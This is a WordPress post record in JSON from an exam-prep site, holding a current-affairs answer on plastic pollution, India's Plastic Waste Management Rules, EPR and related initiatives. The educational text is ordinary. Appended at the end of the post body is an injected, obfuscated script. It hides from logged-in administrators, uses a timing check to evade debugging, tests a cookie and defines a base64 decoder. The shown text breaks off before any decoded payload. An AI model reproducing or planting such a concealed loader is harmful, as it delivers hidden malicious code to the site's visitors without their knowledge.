{"id":2178,"date":"2025-06-07T08:09:50","date_gmt":"2025-06-07T08:09:50","guid":{"rendered":"https:\/\/iasquest.com\/?p=2178"},"modified":"2026-02-11T18:55:43","modified_gmt":"2026-02-11T18:55:43","slug":"gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-14","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-14\/","title":{"rendered":"GS III Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>With the threat of plastic pollution growing day by day, discuss in detail the significance and status of the plastic waste management.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">Every year, <strong>June 5th, World Environment Day (WeD)<\/strong> unites citizens, communities, and countries in a collective commitment to environmental stewardship. This year, the <strong>theme &#8211; Ending Plastic Pollution Globally <\/strong>&#8211; is a clarion call to confront one of the planet\u2019s most pressing crises: plastic pollution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>The menace of plastic pollution:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-4\">\n<li>Plastic Pollution is the <strong>accumulation of man-made plastic<\/strong> products in the <strong>environment to the point where they create problems<\/strong> for wildlife, their habitats, and human populations.<\/li>\n\n\n\n<li>The ill consequences of plastic pollution are aggravated by the<strong> non-biodegradable <\/strong>nature or slow degradation of plastic.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Sources:<\/strong> Plastic waste can be broadly classified into several types based on its composition and usage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Single-use plastics,<\/strong> such as plastic bags, straws, and packaging materials, are designed for short-term use and are a major contributor to plastic pollution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong style=\"font-size: revert;\">Microplastics,<\/strong><span style=\"font-size: revert;\"> tiny plastic particles less than 5mm in size, result from the breakdown of larger plastics or are directly released from products like cosmetics. <\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong style=\"font-size: revert;\">Hard plastics<\/strong><span style=\"font-size: revert;\"> include durable items like bottles, containers, and household goods, which take longer to degrade.<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong style=\"color: rgb(0, 0, 0); font-size: revert;\">Thermoset plastics<\/strong><span style=\"color: rgb(0, 0, 0); font-size: revert;\">, used in electronics and automotive parts, cannot be remoulded or recycled easily.<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Effects:<\/strong> Plastic pollution has numerous harmful effects on the environment, wildlife, and human health:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Marine life impact:<\/strong> Millions of marine animals are harmed or killed each year by ingesting plastic or becoming entangled in it.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong style=\"font-size: revert;\">Ecosystem damage:<\/strong><span style=\"font-size: revert;\"> Plastics take hundreds of years to decompose, disrupting ecosystems and releasing toxic chemicals into soil and water, contributing plastic pollution.<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong style=\"font-size: revert;\">Human health risks:<\/strong><span style=\"font-size: revert;\"> Microplastics have been found in food, water, and even the air, potentially leading to health issues such as hormonal imbalances and respiratory problems.<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Economic costs: <\/strong>Cleaning up plastic pollution and the loss of biodiversity has significant economic implications for industries such as tourism and fishing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Plastic pollution in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>India generates approximately 9.3 million tonnes of plastic pollution annually. Out of this, 5.8 million tonnes (mt) are incinerated, while 3.5 million tonnes are released into the environment as debris.<\/li>\n\n\n\n<li>This figure is significantly higher than Nigeria (3.5 mt), Indonesia (3.4 mt), and China (2.8 mt).<\/li>\n\n\n\n<li>India\u2019s waste generation rate is approximately 0.12\u2009kilograms per capita per day.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>The measures taken to curb the plastic pollution:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>The <strong>Plastic Waste Management Rules, 2016 and Plastic Waste Management Rules, 2022<\/strong> aim to curb the generation of plastic waste and hence reduce plastic pollution.<\/li>\n\n\n\n<li>Guidelines<strong> on EPR:<\/strong> The guidelines on EPR(Extended Producer Responsibility) coupled with the prohibition of identified single-use plastic items, which have low utility and high littering potential, with effect from 1st July 2022.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Classification of Plastics: The new rules classify plastics into four categories:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Category 1<\/strong> will include rigid plastic packaging<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong style=\"font-size: revert;\">Category 2<\/strong><span style=\"font-size: revert;\"> will include flexible plastic packaging of single layer or multilayer (more than one layer with different types of plastic), plastic sheets and covers made of plastic sheet, carry bags, plastic sachet or pouches.<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong style=\"font-size: revert;\">Category 3<\/strong><span style=\"font-size: revert;\"> will include Multi-layered plastic packaging (at least one layer of plastic and at least one layer of material other than plastic)<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Category 4<\/strong> will include plastic sheet or like used for packaging as well as carry bags made of compostable plastics fall.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Recycling <\/strong><strong>and Reusing: <\/strong>The new regulations mandate recycling and reusing a certain percentage of plastic produced by manufacturers, importers and brand owners.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Details <\/strong><strong>of Recycling Certificates:<\/strong> According to the new rules, the producers, importers and brand-owners shall have to provide the details of recycling certificates only from registered recyclers along with the details of quantity sent for end-of-life disposal, by June 30 of next financial year while filing annual returns on the online portal.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Centralised<\/strong><strong> Online Portal<\/strong>: The government has also called for establishing a centralised online portal by the Central Pollution Control Board (CPCB) for the registration as well as filing of annual returns by producers, importers and brand-owners, plastic waste processors of plastic packaging waste by March 31.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">The centralised portal would act as the single point data repository with respect to orders and guidelines related to implementation of EPR for plastic packaging under Plastic Waste Management Rule, 2016.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Environmental<\/strong><strong> Compensation:<\/strong> It shall be levied based upon the polluter pays principle, with respect to non-fulfilment of EPR targets by producers, importers and brand owners, for the purpose of protecting and improving the quality of the environment and preventing, controlling and abating environment pollution.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>The funds collected shall be utilized for the collection, recycling and end-of-life disposal of uncollected plastic waste in an environmentally sound manner.<\/li>\n\n\n\n<li>Setting<strong> Up of a Committee:<\/strong> The government has announced the setting up of a committee, which shall be constituted by the CPCB under the chairpersonship of the CPCB chairman, to recommend measures to the environment ministry for effective implementation of EPR, including amendments to Extended Producer Responsibility (EPR) guidelines.<\/li>\n\n\n\n<li>India is a signatory to <strong>MARPOL <\/strong>(International Convention on Prevention of Marine Pollution).<\/li>\n\n\n\n<li>The <strong>\u201cIndia Plastic Challenge \u2013 Hackathon\u201d <\/strong>has been launched as a unique competition calling upon start-ups \/entrepreneurs and students of Higher Education Institutions (HEIs) to develop innovative solutions to mitigate plastic pollution and develop alternatives to single-use plastics.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Prakriti &amp; Green Initiative<\/strong>s for Effective Plastic Waste Management.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>The Union Ministry of Environment has launched Mascot \u2018Prakriti\u2019 to spread awareness about small changes that can be sustainably adopted in the lifestyle for a better environment for plastic pollution.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Other green initiatives for plastic waste management causing plastic pollution include:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">1. Swachh Bharat Mission<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><span style=\"font-size: revert;\">2. India Plastics Pact<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><span style=\"font-size: revert;\">3. Project REPLAN (REducing PLAstic in Nature by KVIC)<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">4. <span style=\"font-size: revert;\">Un-Plastic Collective<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><span style=\"font-size: revert;\">5. GoLitter Partnerships Project<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">6. <span style=\"font-size: revert;\">National Dashboard on Elimination of Single-Use Plastic and Plastic Waste Management,<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">7. <span style=\"font-size: revert;\">Extended Producer Responsibility (EPR) Portal for Plastic Packaging,<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">8. <span style=\"font-size: revert;\">Mobile App for Single Use Plastics Grievance Redressal,<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">9. <span style=\"font-size: revert;\">Monitoring module for SUP,<\/span><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">10. Industrial production of Graphene from Waste Plastic, etc.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Alarming threats of the plastic pollution on the environment:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li><strong>Every year, 400 million tonnes<\/strong> of plastic are produced worldwide, according to the UN.\n<ul class=\"wp-block-list\">\n<li>Half of this plastic is designed to be used only once, and<strong> only 10 per cent <\/strong>is recycled.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Between 19 and 23 million tonnes of plastic waste leak into aquatic ecosystems annually, and without urgent action, this figure is expected to rise by 50 per cent by 2040.<\/li>\n\n\n\n<li>Plastic pollution is contaminating every corner of the planet, threatening ecosystems, wildlife, and human health.<\/li>\n\n\n\n<li>Microplastics are found in food, water and air, with the <strong>average person<\/strong> estimated to <strong>ingest over 50,000 plastic particles each year<\/strong>, and far more when inhalation is included.<\/li>\n\n\n\n<li>If the climate crisis goes unaddressed, with plastic pollution as a major driver, air pollution levels exceeding safe thresholds could rise by 50 per cent within a decade.<\/li>\n\n\n\n<li>Meanwhile, plastic pollution in marine and freshwater environments <strong>may triple b<\/strong>y 2040.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Way forward:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Circular Economy: <\/strong>Promote RRR i.e. reduce, reuse and recyclability in design, set up recovery facilities, incentivize recycled plastics, and mandate recycled content in products.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Smart Waste Management<\/strong>: Integrate smart technology in waste management with IoT-enabled bins, AI for sorting, and mobile apps for reporting illegal dumping and locating recycling centres.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Awareness Campaigns:<\/strong> Launch national campaigns in multiple languages, integrate plastic waste education in schools, conduct community workshops, and use influencers to promote plastic-free lifestyles. Establish a national innovation challenge for youth involvement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Waste-to-Energy:<\/strong> Invest in advanced waste-to-energy technologies like pyrolysis and gasification for non-recyclable plastics. Ensure strict emissions controls and use generated energy to power waste management facilities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">A major focus of the day is the ongoing push for a <strong>global treaty to end plastic pollution. <\/strong>Countries are currently negotiating an international, legally binding agreement, with the next round of talks scheduled for August, as per UNEP.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>News:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">Campaign intensifies for the Fight to End Plastic Pollution on World Environment Day<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2134375\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2134375<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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